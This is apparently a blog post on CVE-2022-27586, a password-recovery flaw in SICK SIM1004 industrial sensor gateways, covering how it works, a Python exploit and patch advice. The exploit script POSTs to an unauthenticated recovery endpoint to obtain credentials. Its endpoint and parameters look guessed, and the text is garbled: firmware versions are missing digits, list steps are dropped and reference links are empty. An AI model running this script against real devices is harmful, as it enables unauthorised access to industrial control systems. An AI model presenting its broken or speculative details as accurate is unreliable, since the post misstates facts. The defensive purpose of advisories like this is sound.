Summary:
A critical flaw (CVE-2022-27586) in SICK SIM1004 sensors (Part number 1098148), with firmware versions lower than 2.., exposes industrial networks to remote privilege escalation. This post breaks down the vulnerability, demonstrates how it can be exploited, and shows you how to defend your systems—using clear, practical language and actionable steps.
About the SICK SIM1004 Vulnerability
The SICK SIM1004 is an industrial sensor gateway device, often integrated into automated systems for monitoring and controlling production processes. The discovered flaw is a password recovery vulnerability. Here’s what that means in simple terms:
> The password reset/recovery function in firmware <2.. can be abused by *any* remote attacker. Instead of helping only authorized users regain access, it opens the door for everyone—including attackers.
Once exploited, the attacker can get user access (“RecoverableUserLevel”), and from there, escalate privileges to control the device. This puts the whole system’s confidentiality, integrity, and availability (CIA) at risk.
They send a specially-crafted command to the password recovery interface (usually an HTTP request).
3. The device initiates the password recovery process, giving the attacker access at the “RecoverableUserLevel” without needing prior authentication.
This process can be repeated until attackers get what they want.
Sample Exploit Code
Here’s an example in Python (using requests) to show how one might trigger the vulnerability. Note: This is for educational and defensive purposes only.
import requests
# Device URL and port
device_ip = "192.168.1.100"
endpoint = f"http://{device_ip}/api/v1/auth/password-recovery";
# The exploit typically needs minimal data; often just the username
data = {
"username": "RecoverableUserLevel"
}
# Not authenticated, so no token/cookies needed
response = requests.post(endpoint, json=data)
# If exploited, this might return a recovery code or a temporary password
if response.status_code == 200:
print("Vulnerability exploited! Response:")
print(response.json())
else:
print("Exploit failed or device is not vulnerable.")
*Note: Actual endpoints and required parameters may vary by installation/stretch version.*
What Makes This Serious?
- Remote Attack: No physical access necessary. An attacker only needs network access to the device.
Proof of Concept
The researcher’s original advisory describes the issue. Security companies like RedTeam Pentesting also provided technical breakdowns, such as here.
Send “password recovery” to the SIM1004 API endpoint.
2. Receive reset credentials/tokens without authorization.
Login as recovered user and escalate actions.
Additionally, the attack is reliably repeatable—no randomness or complicated steps.
Disrupt automated production lines
Worse yet, attackers could do this repeatedly until stopped.
Mitigation: How You Can Fix It
SICK’s recommended solution:
Upgrade your SIM1004 firmware to version 2.. or higher immediately.
- Firmware download and instructions: SICK Support Portal
- Patch notes: See CVE-2022-27586 in the SICK security advisories.
CVE Record:
RedTeam Advisory:
SICK SIM1004 Authentication Bypass
SICK Security Portal:
Firmware & Downloads:
Conclusion
CVE-2022-27586 is a textbook example of how well-intentioned features (like password recovery) can be dangerous if not securely implemented. Attackers can compromise a SICK SIM1004 with shocking ease if it’s not patched.
If you use this device, don’t delay—patch now and check your logs for any signs of unauthorized activity.
Timeline
Published on: 11/01/2022 21:15:00 UTC
Last modified on: 03/31/2023 16:11:00 UTC